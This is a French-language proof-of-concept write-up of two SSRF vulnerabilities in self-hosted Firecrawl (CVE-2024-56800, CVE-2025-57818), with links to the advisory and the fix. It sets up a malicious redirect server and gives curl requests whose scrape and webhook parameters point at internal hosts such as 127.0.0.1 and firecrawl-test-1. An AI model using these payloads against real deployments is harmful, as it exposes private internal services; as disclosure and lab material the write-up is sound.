
Exploit de preuve de concept démontrant les vulnérabilités SSRF dans le scraper web Firecrawl (CVE-2024-56800, CVE-2025-57818) avec configuration auto-hébergée et serveur de redirection malveillant.
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl est un scraper web qui permet aux utilisateurs d'extraire le contenu d'une page web. Les versions antérieures à 1.1.1 contiennent une vulnérabilité de type server-side request forgery (SSRF). Le moteur de scraping accepte que les sites web redirigent vers n'importe quelle adresse IP locale, ce qui entraîne la fuite de ressources du serveur privé.
Le code concerné se trouve dans apps/api/src/controllers/v1/scrape.ts
L'entrée utilisateur n'est pas assainie et peut être une adresse IP privée. Lorsqu'elle utilise 127.0.0.1, elle redirige en réalité vers le réseau local de Firecrawl, ce qui expose le serveur interne du serveur Firecrawl.
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
La raison est que le serveur Firecrawl bloque les URL privées. Si vous ne souhaitez pas rendre le serveur public, je pense que vous pouvez simplement commenter la validation directement dans Firecrawl.
Ici, je note simplement ce que j'ai fait. ngrok:
ngrok http 8000
curl : (n'oubliez pas de coller la bonne URL)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'

scraper.py
cd scraper
!! ouvrez le Dockerfile et remplacez l'URL par celle que vous venez de générer
docker build -t scraper .
docker run scraper
Lors du démarrage du serveur Firecrawl auto-hébergé, 5 services sont activés, dont firecrawl-test-1 (voir plus de détails avec docker ps).
Comme ces 5 services sont configurés sur le même réseau, ils peuvent se connecter entre eux en utilisant le nom du conteneur auquel ils veulent se connecter.
par exemple (connexion à firecrawl-test-1)
Exécution de curl directement sur la machine locale :
curl http://firecrawl-test-1:80
or
curl http://localhost:80
Aucune de ces commandes ne devrait fonctionner car elles ne sont pas sur le même réseau que firecrawl-test-1
Cependant, en accédant depuis firecrawl-api-1 :
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80
cela devrait afficher les données correctes car ils sont sur le même réseau.
Dans le serveur malveillant, il redirige vers http://firecrawl-test-1:80, ce qui ne devrait fonctionner que pour le réseau Firecrawl. Par conséquent, le fait d'atteindre le serveur firecrawl-test-1 signifie que le scraper a bien redirigé vers son serveur interne. Cela montre comment la SSRF permet d'exposer des ressources du serveur privé.
Ceci est aussi une vulnérabilité SSRF.
Cela se produit dans l'API crawl où le paramètre webhook n'est pas assaini ; les attaquants peuvent envoyer une requête POST vers un réseau local de Firecrawl.
Le code concerné se trouve dans apps/api/src/services/webhook.ts. Le problème est que l'entrée webhookUrl n'est pas assainie.
Le webhook enverra une requête POST à l'URL spécifiée. Ici, nous l'avons définie sur 127.0.0.1 et elle s'est connectée au serveur interne avec succès.
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
Le serveur interne a reçu la requête POST avec succès
![]()